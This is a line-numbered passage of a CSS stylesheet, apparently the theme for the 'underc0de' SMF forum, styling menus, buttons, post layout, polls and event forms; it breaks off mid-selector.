  1172.         color: #252525;
  1173.         font-weight: bold;
  1174. }
  1175. .dropmenu li a.active span.firstlevel
  1176. {
  1177.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 0 0;
  1178. }
  1179. /* the hover effects */
  1180. .dropmenu li a.firstlevel:hover, .dropmenu li:hover a.firstlevel
  1181. {
  1182.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 100% -30px;
  1183.         color: #fff;
  1184.         cursor: pointer;
  1185.         text-decoration: none;
  1186. }
  1187. .dropmenu li a.firstlevel:hover span.firstlevel, .dropmenu li:hover a.firstlevel span.firstlevel
  1188. {
  1189.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 0 -30px;
  1190. }
  1191. /* the hover effects on level2 and 3 */
  1192. .dropmenu li li a:hover, .dropmenu li li:hover>a
  1193. {
  1194.         background: #363636;
  1195.         color: #fff;
  1196.         text-decoration: none;
  1197. }
  1198. .dropmenu li:hover ul ul, .dropmenu li:hover ul ul ul
  1199. {
  1200.         top: -999em;
  1201. }
  1202. .dropmenu li li:hover ul
  1203. {
  1204.         top: auto;
  1205. }
  1206. .dropmenu li:hover ul
  1207. {
  1208.         display: block;
  1209. }
  1210. .dropmenu li li.additional_items
  1211. {
  1212.         background-color: #303030;
  1213. }
  1214.  
  1215. /* The dropdown menu toggle image */
  1216. #menu_toggle
  1217. {
  1218.         float: right;
  1219.         margin-right: 10px;
  1220.         padding-top: 3px;
  1221. }
  1222. #menu_toggle span
  1223. {
  1224.         position: relative;
  1225.         right: 5000px;
  1226. }
  1227.  
  1228. /* Styles for the standard button lists.
  1229. ------------------------------------------------------- */
  1230.  
  1231. .buttonlist ul
  1232. {
  1233.         z-index: 100;
  1234.         padding: 5px;
  1235.         margin: 0 0.2em 5px 0;
  1236. }
  1237. .buttonlist ul li
  1238. {
  1239.         margin: 0;
  1240.         padding: 0;
  1241.         list-style: none;
  1242.         float: left;
  1243. }
  1244. .buttonlist ul li a
  1245. {
  1246.         display: block;
  1247.         font-size: 11px;
  1248.         color: #fff;
  1249.         background: #e8e8e8 url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 0 -60px;
  1250.         padding: 0 0 0 8px;
  1251.         margin-left: 2px;
  1252.         text-transform: uppercase;
  1253.         cursor: pointer;
  1254. }
  1255. .buttonlist ul li a.button_strip_bookmark
  1256. {
  1257.         display: block;
  1258.         font-size: 11px;
  1259.         color: #fff;
  1260.         background: #0074cd;
  1261.         padding: 0 0 0 8px;
  1262.         margin-left: 2px;
  1263.         text-transform: uppercase;
  1264.         cursor: pointer;
  1265. }
  1266. .buttonlist ul li a.button_strip_bookmark span
  1267. {
  1268.         background: #0074cd;
  1269.         display: block;
  1270.         height: 19px;
  1271.         line-height: 19px;
  1272.         padding: 0 8px 0 0;
  1273. }
  1274. .buttonlist ul li a:hover
  1275. {
  1276.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 0 0;
  1277.         color: #444;
  1278.         text-decoration: none;
  1279. }
  1280. .buttonlist ul li a span
  1281. {
  1282.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 100% -60px;
  1283.         display: block;
  1284.         height: 19px;
  1285.         line-height: 19px;
  1286.         padding: 0 8px 0 0;
  1287. }
  1288. .buttonlist ul li a:hover span
  1289. {
  1290.         background: #fff url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 100% 0;
  1291. }
  1292. /* the active one */
  1293. .buttonlist ul li a.active
  1294. {
  1295.         background: #5a6c85 url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 0 -90px;
  1296.         color: #fff;
  1297.         font-weight: bold;
  1298. }
  1299. .buttonlist ul li a.active span
  1300. {
  1301.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/menu_gfx.png) no-repeat 100% -90px;
  1302. }
  1303. .buttonlist ul li a.active
  1304. {
  1305.         font-weight: bold;
  1306. }
  1307. .buttonlist ul li a.active:hover
  1308. {
  1309.         color: #252525;
  1310. }
  1311. .align_top ul li a, .align_bottom ul li a
  1312. {
  1313.         margin: 0 12px 0 0;
  1314. }
  1315.  
  1316. /* the navigation list */
  1317. ul#navigation
  1318. {
  1319.         margin: 0;
  1320.         font-size: 0.9em;
  1321.         padding: 1em 0.4em;
  1322. }
  1323. ul#navigation li
  1324. {
  1325.         float: none;
  1326.         font-size: 0.95em;
  1327.         display: inline;
  1328. }
  1329.  
  1330. #adm_submenus
  1331. {
  1332.         padding-left: 2em;
  1333.         overflow: hidden;
  1334. }
  1335.  
  1336. h3, h4
  1337. {
  1338.         padding-bottom: 3px;
  1339. }
  1340.  
  1341. /* The navigation list (i.e. linktree) */
  1342. .navigate_section
  1343. {
  1344.         padding: 0.5em;
  1345.         margin: 0 0 0 0;
  1346. }
  1347. .navigate_section ul
  1348. {
  1349.         display: block;
  1350.         margin: 0;
  1351.         font-size: 0.9em;
  1352.         padding: 0.5em 0;
  1353.         overflow: hidden;
  1354.         list-style: none;
  1355.         clear: both;
  1356.         width: 100%;
  1357. }
  1358. .navigate_section ul li
  1359. {
  1360.         float: left;
  1361.         padding: 0 0.5em 0 0;
  1362.         font-size: 0.95em;
  1363. }
  1364. .navigate_section ul li a
  1365. {
  1366.         white-space: pre;
  1367. }
  1368. select.qaction, input.qaction
  1369. {
  1370.         font-size: 0.85em;
  1371.         padding: 0;
  1372. }
  1373. #mlist table tbody td.windowbg2
  1374. {
  1375.         text-align: center;
  1376. }
  1377.  
  1378. /* Styles for a typical table.
  1379. ------------------------------------------------------- */
  1380. table.table_list
  1381. {
  1382.         width: 100%;
  1383. }
  1384. table.table_list p
  1385. {
  1386.         padding: 0;
  1387.         margin: 0;
  1388. }
  1389. table.table_list td, table.table_list th
  1390. {
  1391.         padding: 5px;
  1392. }
  1393. table.table_list tbody.header td
  1394. {
  1395.         padding: 0;
  1396. }
  1397. table.table_list tbody.content td.stats
  1398. {
  1399.         font-size: 11px;
  1400.         width: 15%;
  1401.         text-align: left;
  1402. }
  1403. table.table_list tbody.content td.lastpost
  1404. {
  1405.         font-size: 11px;
  1406.         width: 26%;
  1407.         text-align: right;
  1408. }
  1409. table.table_list tbody.content td.icon
  1410. {
  1411.         text-align: center;
  1412.         width: 6%;
  1413. }
  1414.  
  1415. /* Styles for the board index.
  1416. ------------------------------------------------- */
  1417.  
  1418. /* the board title! */
  1419. .table_list tbody.content td.info a.subject
  1420. {
  1421.         font-weight: bold;
  1422.         font-size: 110%;
  1423.         color: #fff;
  1424. }
  1425. .table_list tbody.content td.children
  1426. {
  1427.         color: #555;
  1428.         font-size: 85%;
  1429.         background-color: #111111;
  1430. }
  1431. p.moderators
  1432. {
  1433.         font-size: 0.8em;
  1434.         font-family: verdana, sans-serif;
  1435. }
  1436. /* hide the table header/footer parts - but its here for those needing to style it */
  1437. #boardindex_table .table_list thead, #boardindex_table .table_list tfoot
  1438. {
  1439.         display: none;
  1440. }
  1441.  
  1442. /* the posting icons */
  1443. #posting_icons
  1444. {
  1445.         padding: 0 1em 0.5em 1em;
  1446.         margin: 0 0 1em 0;
  1447.         line-height: 1em;
  1448. }
  1449. #posting_icons ul
  1450. {
  1451.         font-size: 0.8em;
  1452. }
  1453. #posting_icons img
  1454. {
  1455.         vertical-align: middle;
  1456.         margin: 0 0 0 4ex;
  1457. }
  1458. #postbuttons_upper ul li a span
  1459. {
  1460.         line-height: 19px;
  1461.         padding: 0 0 0 6px;
  1462. }
  1463. .nextlinks
  1464. {
  1465.         text-align: right;
  1466.         margin-top: -1px;
  1467. }
  1468. .nextlinks_bottom
  1469. {
  1470.         clear: right;
  1471.         text-align: right;
  1472. }
  1473. .mark_read
  1474. {
  1475.         padding: 0 0.5em;
  1476. }
  1477.  
  1478. /* the newsfader */
  1479. #newsfader
  1480. {
  1481.         margin: 0 2px;
  1482. }
  1483. #smfFadeScroller
  1484. {
  1485.         text-align: center;
  1486.         padding: 0 2em;
  1487.         overflow: auto;
  1488.         margin: 1em 0;
  1489.         color: #575757; /* shouldn't be shorthand style due to a JS bug in IE! */
  1490. }
  1491.  
  1492. /* Styles for the info center on the board index.
  1493. ---------------------------------------------------- */
  1494.  
  1495. #upshrinkHeaderIC
  1496. {
  1497.         margin-top: 4px;
  1498. }
  1499. dl#ic_recentposts
  1500. {
  1501.         margin: 0 0 0.5em 0;
  1502.         padding: 0.5em;
  1503.         line-height: 1.3em;
  1504. }
  1505. dl#ic_recentposts dt
  1506. {
  1507.         float: left;
  1508. }
  1509. dl#ic_recentposts dd
  1510. {
  1511.         text-align: right;
  1512. }
  1513. #upshrinkHeaderIC p
  1514. {
  1515.         margin: 0 0 0.5em 0;
  1516.         padding: 0.5em;
  1517. }
  1518. #upshrinkHeaderIC p.last
  1519. {
  1520.         margin: 0;
  1521.         padding: 0.5em;
  1522.         border-top: 2px dotted #777;
  1523. }
  1524. #upshrinkHeaderIC p.inline
  1525. {
  1526.         border: none;
  1527.         margin: 0;
  1528.         padding: 0.2em 0.5em 0.2em 0.5em;
  1529. }
  1530. #upshrinkHeaderIC p.stats
  1531. {
  1532.         font-size: 1.1em;
  1533.         padding-top: 8px;
  1534. }
  1535. form#ic_login
  1536. {
  1537.         padding: 0.5em;
  1538.         height: 2em;
  1539. }
  1540. form#ic_login ul li
  1541. {
  1542.         margin: 0;
  1543.         padding: 0;
  1544.         float: left;
  1545.         width: 20%;
  1546.         text-align: center;
  1547. }
  1548. form#ic_login ul li label
  1549. {
  1550.         display: block;
  1551. }
  1552.  
  1553. /* the small stats */
  1554. #index_common_stats
  1555. {
  1556.         display: block;
  1557.         margin: 0 0 0.5em 0;
  1558.         text-align: right;
  1559.         font-size: 0.9em;
  1560.         position: relative;
  1561.         top: -20px;
  1562.         line-height: 1px;
  1563. }
  1564.  
  1565. img.new_posts
  1566. {
  1567.         padding: 0 0.1em;
  1568. }
  1569. /* Styles for the message (topic) index.
  1570. ---------------------------------------------------- */
  1571. div.table_frame .table_list
  1572. {
  1573.         border-collapse: collapse;
  1574.         margin: 2px 0;
  1575. }
  1576. .table_frame .table_list td.icon, .table_frame .table_list td.info, .table_frame .table_list td.stats
  1577. {
  1578.         border-right: 2px solid #252525;
  1579. }
  1580. #messageindex
  1581. {
  1582.         clear: both;
  1583. }
  1584. /* the page navigation area */
  1585. .childboards
  1586. {
  1587.         margin-bottom: 0.2em;
  1588. }
  1589. #childboards h3
  1590. {
  1591.         padding-bottom: 0;
  1592. }
  1593. #childboards .table_list thead
  1594. {
  1595.         display: none;
  1596. }
  1597. #childboards .table_list
  1598. {
  1599.         margin-bottom: 1em;
  1600. }
  1601. .lastpost img
  1602. {
  1603.         padding: 0 0 0 5px;
  1604. }
  1605.  
  1606. /* Styles for the display template (topic view).
  1607. ---------------------------------------------------- */
  1608.  
  1609. #postbuttons div.buttons
  1610. {
  1611.         padding: 0.5em;
  1612.         width: 40%;
  1613.         float: right;
  1614. }
  1615. #postbuttons div.middletext
  1616. {
  1617.         width: 60%;
  1618. }
  1619. #postbuttons span
  1620. {
  1621.         display: block;
  1622.         text-align: right;
  1623. }
  1624. #postbuttons span.lower
  1625. {
  1626.         clear: right;
  1627. }
  1628. #postbuttons .buttonlist
  1629. {
  1630.         float: right;
  1631. }
  1632. #postbuttons #pagelinks
  1633. {
  1634.         padding-top: 1em;
  1635. }
  1636. #moderationbuttons
  1637. {
  1638.         overflow: hidden;
  1639. }
  1640. /* Events */
  1641. .linked_events
  1642. {
  1643.         padding: 1em 0;
  1644. }
  1645. .edit_event
  1646. {
  1647.         margin: 0 1em;
  1648.         vertical-align: middle;
  1649. }
  1650. /* Poll question */
  1651. #poll
  1652. {
  1653.         overflow: hidden;
  1654. }
  1655. #poll .content
  1656. {
  1657.         padding: 0 1em;
  1658. }
  1659. h4#pollquestion
  1660. {
  1661.         padding: 0 0 0.5em 2em;
  1662. }
  1663.  
  1664. /* Poll vote options */
  1665. #poll_options ul.options
  1666. {
  1667.         border-top: 1px solid #494949;
  1668.         padding: 1em 2.5em 0 2em;
  1669.         margin: 0 0 1em 0;
  1670. }
  1671. #poll_options div.submitbutton
  1672. {
  1673.         border-bottom: 1px solid #494949;
  1674.         clear: both;
  1675.         padding: 0 0 1em 2em;
  1676.         margin: 0 0 1em 0;
  1677. }
  1678.  
  1679. /* Poll results */
  1680. #poll_options dl.options
  1681. {
  1682.         border: solid #494949;
  1683.         border-width: 1px 0;
  1684.         padding: 1em 2.5em 1em 2em;
  1685.         margin: 0 1em 1em 0;
  1686.         line-height: 1.1em !important;
  1687. }
  1688.  
  1689. #poll_options dl.options dt
  1690. {
  1691.         padding: 0.3em 0;
  1692.         width: 30%;
  1693.         float: left;
  1694.         margin: 0;
  1695.         clear: left;
  1696. }
  1697.  
  1698. #poll_options dl.options .voted
  1699. {
  1700.         font-weight: bold;
  1701. }
  1702.  
  1703. #poll_options dl.options dd
  1704. {
  1705.         margin: 0 0 0 2em;
  1706.         padding: 0.1em 0 0 0;
  1707.         width: 60%;
  1708.         max-width: 450px;
  1709.         float: left;
  1710. }
  1711.  
  1712. #poll_options dl.options .percentage
  1713. {
  1714.         display: block;
  1715.         float: right;
  1716.         padding: 0.2em 0 0.3em 0;
  1717. }
  1718.  
  1719. /* Poll notices */
  1720. #poll_options p
  1721. {
  1722.         margin: 0 1.5em 0.2em 1.5em;
  1723.         padding: 0 0.5em 0.5em 0.5em;
  1724. }
  1725.  
  1726. div#pollmoderation
  1727. {
  1728.         margin: 0;
  1729.         padding: 0;
  1730.         overflow: auto;
  1731. }
  1732.  
  1733. /* onto the posts */
  1734. #forumposts
  1735. {
  1736.         clear: both;
  1737. }
  1738. #forumposts .cat_bar
  1739. {
  1740.         margin: 0 0 2px 0;
  1741. }
  1742. /* author and topic information */
  1743. #forumposts h3 span#author
  1744. {
  1745.         margin: 0 7.7em 0 0;
  1746. }
  1747. #forumposts h3 img
  1748. {
  1749.         float: left;
  1750.         margin: 4px 0.5em 0 0;
  1751. }
  1752. #forumposts h3.catbg
  1753. {
  1754.         margin-bottom: 3px;
  1755. }
  1756. p#whoisviewing
  1757. {
  1758.         margin: 0;
  1759.         padding: 0.5em;
  1760. }
  1761. /* poster and postarea + moderation area underneath */
  1762. .post_wrapper
  1763. {
  1764.         float:left;
  1765.         width:100%;
  1766. }
  1767. .poster
  1768. {
  1769.         float: left;
  1770.         width: 15em;
  1771. }
  1772. .postarea, .moderatorbar
  1773. {
  1774.         margin: 0 0 0 16em;
  1775. }
  1776. .postarea div.flow_hidden
  1777. {
  1778.         width: 100%;
  1779. }
  1780.  
  1781. .moderatorbar
  1782. {
  1783.         clear: right;
  1784. }
  1785. /* poster details and list of items */
  1786. .poster h4, .poster ul
  1787. {
  1788.         padding: 0;
  1789.         margin: 0 1em 0 1.5em;
  1790. }
  1791. .poster h4
  1792. {
  1793.         margin: 0.2em 0 0.4em 1.1em;
  1794.         font-size: 120%;
  1795. }
  1796. .poster h4, .poster h4 a
  1797. {
  1798.         color: #fff;
  1799. }
  1800. .poster ul ul
  1801. {
  1802.         margin: 0.3em 1em 0 0;
  1803.         padding: 0;
  1804. }
  1805. .poster ul ul li
  1806. {
  1807.         display: inline;
  1808. }
  1809. .poster li.stars, .poster li.avatar, .poster li.blurb, li.postcount, li.im_icons ul
  1810. {
  1811.         margin-top: 0.5em;
  1812. }
  1813. .poster li.avatar
  1814. {
  1815.         overflow: hidden;
  1816. }
  1817. .poster li.warning
  1818. {
  1819.         line-height: 1.2em;
  1820.         padding-top: 1em;
  1821. }
  1822. .poster li.warning a img
  1823. {
  1824.         vertical-align: bottom;
  1825.         padding: 0 0.2em;
  1826. }
  1827. .messageicon
  1828. {
  1829.         float: left;
  1830.         margin: 0 0.5em 0 0;
  1831. }
  1832. .messageicon img
  1833. {
  1834.         padding: 6px 3px;
  1835. }
  1836. .keyinfo
  1837. {
  1838.         float: left;
  1839.         width: 50%;
  1840. }
  1841. .modifybutton
  1842. {
  1843.         clear: right;
  1844.         float: right;
  1845.         margin: 6px 20px 10px 0;
  1846.         text-align: right;
  1847.         font: bold 0.85em arial, sans-serif;
  1848.         color: #334466;
  1849. }
  1850.  
  1851. /* The quick buttons */
  1852. div.quickbuttons_wrap
  1853. {
  1854.         padding: 0.2em 0;
  1855.         width: 100%;
  1856.         float: left;
  1857. }
  1858.  
  1859. ul.quickbuttons
  1860. {
  1861.         margin: 0.9em 11px 0 0;
  1862.         clear: right;
  1863.         float: right;
  1864.         text-align: right;
  1865.         font: bold 0.85em arial, sans-serif;
  1866. }
  1867. ul.quickbuttons li
  1868. {
  1869.         float: left;
  1870.         display: inline;
  1871.         margin: 0 0 0 11px;
  1872. }
  1873. ul.quickbuttons li a
  1874. {
  1875.         padding: 0 0 0 20px;
  1876.         display: block;
  1877.         height: 20px;
  1878.         line-height: 18px;
  1879.         float: left;
  1880. }
  1881. ul.quickbuttons a:hover
  1882. {
  1883. }
  1884. ul.quickbuttons li.quote_button
  1885. {
  1886.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 0;
  1887. }
  1888. ul.quickbuttons li.remove_button
  1889. {
  1890.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -30px;
  1891. }
  1892. ul.quickbuttons li.modify_button
  1893. {
  1894.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -60px;
  1895. }
  1896. ul.quickbuttons li.approve_button
  1897. {
  1898.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -90px;
  1899. }
  1900. ul.quickbuttons li.restore_button
  1901. {
  1902.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -120px;
  1903. }
  1904. ul.quickbuttons li.split_button
  1905. {
  1906.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -150px;
  1907. }
  1908. ul.quickbuttons li.reply_button
  1909. {
  1910.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -180px;
  1911. }
  1912. ul.quickbuttons li.reply_all_button
  1913. {
  1914.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -180px;
  1915. }
  1916. ul.quickbuttons li.notify_button
  1917. {
  1918.         background: url(https://underc0de.org/foro/Themes/underc0de/images/theme/quickbuttons.png) no-repeat 0 -210px;
  1919. }
  1920. ul.quickbuttons li.inline_mod_check
  1921. {
  1922.         margin: 0 0 0 5px;
  1923. }
  1924.  
  1925. .post
  1926. {
  1927.         margin-top: 0.5em;
  1928.         clear: right;
  1929. }
  1930. .inner
  1931. {
  1932.         padding: 1em 1em 2px 0;
  1933.         margin: 0 1em 0 0;
  1934.         border-top: 1px solid #494949;
  1935. }
  1936. img.smiley
  1937. {
  1938.         vertical-align: bottom;
  1939. }
  1940. #forumposts .modified
  1941. {
  1942.         float: left;
  1943. }
  1944. #forumposts .reportlinks
  1945. {
  1946.         margin-right: 1.5em;
  1947.         text-align: right;
  1948.         clear: right;
  1949. }
  1950. #forumposts .signature, .post .signature
  1951. {
  1952.         margin: 1em 0 0 0;
  1953. }
  1954. #forumposts span.botslice
  1955. {
  1956.         clear: both;
  1957. }
  1958. .attachments hr
  1959. {
  1960.         clear: both;
  1961.         margin: 1em 0 1em 0;
  1962. }
  1963. .attachments
  1964. {
  1965.         padding: 1em 0 2em 0;
  1966. }
  1967. .attachments div
  1968. {
  1969.         padding: 0 0.5em;
  1970. }
  1971.  
  1972. /* Styles for the quick reply area.
  1973. ---------------------------------------------------- */
  1974.  
  1975. #quickreplybox
  1976. {
  1977.         padding-bottom: 1px;
  1978. }
  1979. #quickReplyOptions .roundframe
  1980. {
  1981.         padding: 0 10%;
  1982. }
  1983. #quickReplyOptions form textarea
  1984. {
  1985.         height: 100px;
  1986.         width: 635px;
  1987.         max-width: 100%;
  1988.         min-width: 100%;
  1989.         margin: 0.25em 0 1em 0;
  1990. }
  1991. /* The jump to box */
  1992. #display_jump_to
  1993. {
  1994.         clear: both;
  1995.         padding: 5px;
  1996.         margin-top: 6px;
  1997.         text-align: right;
  1998. }
  1999.  
  2000. /* Separator of posts. More useful in the print stylesheet. */
  2001. #forumposts .post_separator
  2002. {
  2003.         display: none;
  2004. }
  2005.  
  2006. /* Styles for edit post section
  2007. ---------------------------------------------------- */
  2008. form#postmodify .roundframe
  2009. {
  2010.         padding: 0 12%;
  2011. }
  2012. #post_header, .postbox
  2013. {
  2014.         padding: 0.5em;
  2015.         overflow: hidden;
  2016. }
  2017. #post_header dt, .postbox dt
  2018. {
  2019.         float: left;
  2020.         padding: 0;
  2021.         width: 15%;
  2022.         margin: .5em 0 0 0;
  2023.         font-weight: bold;
  2024. }
  2025. #post_header dd, .postbox dd
  2026. {
  2027.         float: left;
  2028.         padding: 0;
  2029.         width: 83%;
  2030.         margin: .3em 0;
  2031. }
  2032. #post_header img
  2033. {
  2034.         vertical-align: middle;
  2035. }
  2036. ul.post_options
  2037. {
  2038.         margin: 0 0 0 1em;
  2039.         padding: 0;
  2040.         list-style: none;
  2041.         overflow: hidden;
  2042. }
  2043. ul.post_options li
  2044. {
  2045.         margin: 0.2em 0;
  2046.         width: 49%;
  2047.         float: left;
  2048. }
  2049. #postAdditionalOptionsHeader
  2050. {
  2051.         margin-top: 1em;
  2052. }
  2053. #postMoreOptions
  2054. {
  2055.         border-bottom: 1px solid #494949;
  2056.         padding: 0.5em;
  2057. }
  2058. #postAttachment, #postAttachment2
  2059. {
  2060.         overflow: hidden;
  2061.         margin: .5em 0;
  2062.         padding: 0;
  2063.         border-bottom: 1px solid #494949;
  2064.         padding: 0.5em;
  2065. }
  2066. #postAttachment dd, #postAttachment2 dd
  2067. {
  2068.         margin: .3em 0 .3em 1em;
  2069. }
  2070. #postAttachment dt, #postAttachment2 dt
  2071. {
  2072.         font-weight: bold;
  2073. }
  2074. #postAttachment3
  2075. {
  2076.         margin-left: 1em;
  2077. }
  2078. #post_confirm_strip, #shortcuts
  2079. {
  2080.         padding: 1em 0 0 0;
  2081. }
  2082. .post_verification
  2083. {
  2084.         margin-top: .5em;
  2085. }
  2086. .post_verification #verification_control
  2087. {
  2088.         margin: .3em 0 .3em 1em;
  2089. }
  2090. /* The BBC buttons */
  2091. #bbcBox_message
  2092. {
  2093.         margin: 0.75em 0.5em;
  2094. }
  2095. #bbcBox_message div
  2096. {
  2097.         margin: 0.2em 0;
  2098.         vertical-align: top;
  2099. }
  2100. #bbcBox_message div img
  2101. {
  2102.         margin: 0 1px 0 0;
  2103.         vertical-align: top;
  2104. }
  2105. #bbcBox_message select
  2106. {
  2107.         margin: 0 2px;
  2108. }
  2109. /* The smiley strip */
  2110. #smileyBox_message
  2111. {
  2112.         margin: 0.5em;
  2113. }
  2114.  
  2115. /* Styles for edit event section
  2116. ---------------------------------------------------- */
  2117. #post_event .roundframe
  2118. {
  2119.         padding: 0 12%;
  2120. }
  2121. #post_event fieldset
  2122. {
  2123.         padding: 0.5em;
  2124.         clear: both;
  2125. }
  2126. #post_event #event_main input
  2127. {
  2128.         margin: 0 0 1em 0;
  2129.         float: left;
  2130. }
  2131. #post_event #event_main div.smalltext
  2132. {
  2133.         width: 33em;
  2134.         float: right;
  2135. }
  2136. #post_event div.event_options
  2137. {
  2138.         float: right;
  2139. }
  2140. #post_event ul.event_main, ul.event_options
  2141. {
  2142.         padding: 0;
  2143.         overflow: hidden;
  2144. }
  2145. #post_event ul.event_main li
  2146. {
  2147.         list-style-type: none;
  2148.         margin: 0.2em 0;
  2149.         width: 49%;
  2150.         float: left;
  2151. }
  2152. #post_event ul.event_options
  2153. {
  2154.         margin: 0;
  2155.         padding: 0 0 .7em .7em;
  2156. }
  2157. #post_event ul.event_options li
  2158. {
  2159.         list-style-type: none;
  2160.         margin: 0;
  2161.         float: left;
  2162. }
  2163. #post_event #event_main select, #post_event ul.event_options li select, #post_event ul.event_options li .input_check
  2164. {
  2165.         margin: 0 1em 0 0;
  2166. }
  2167.  
  2168. /* Styles for edit poll section.
  2169. ---------------------------------------------------- */
  2170.  
  2171. #edit_poll
  2172. {
  2173.         overflow: hidden;
  2174. }
  2175. #edit_poll fieldset
  2176. {
  2177.         padding: 0.5em;
  2178.         clear: both;
  2179.         overflow: hidden;
  2180. }
  2181. #edit_poll fieldset input
  2182. {
  2183.         margin-left: 8.1em;
  2184. }
  2185. #edit_poll ul.poll_main li
  2186. {
  2187.         padding-left: 1em;
  2188. }
  2189. #edit_poll ul.poll_main input
  2190. {
  2191.         margin-left: 1em;
  2192. }
  2193. #edit_poll ul.poll_main, dl.poll_options
  2194. {
  2195.         overflow: hidden;
  2196.         padding: 0 0 .7em .7em;
  2197.         list-style: none;
  2198. }
  2199. #edit_poll ul.poll_main li
  2200. {
  2201.         margin: 0.2em 0;
  2202. }
  2203. #edit_poll dl.poll_options dt
  2204. {
  2205.         width: 33%;
  2206.         padding: 0 0 0 1em;
  2207. }
  2208. #edit_poll dl.poll_options dd
  2209. {
  2210.         width: 65%;
  2211. }
  2212. #edit_poll dl.poll_options dd input
  2213. {
  2214.         margin-left: 0;
  2215. }
  2216.  
  2217. /* Styles for the recent messages section.
  2218. ---------------------------------------------------- */
  2219.  
  2220. #readbuttons_top .pagelinks, #readbuttons .pagelinks
  2221. {
  2222.         padding-bottom: 1em;
  2223.         width: 60%;
  2224. }
  2225. #readbuttons .pagelinks
  2226. {
  2227.         padding-top: 1em;
  2228. }
  2229. #recent
  2230. {
  2231.         clear: both;
  2232. }
  2233.  
  2234. /* Styles for the move topic section.
  2235. ---------------------------------------------------- */
  2236.  
  2237. #move_topic dl<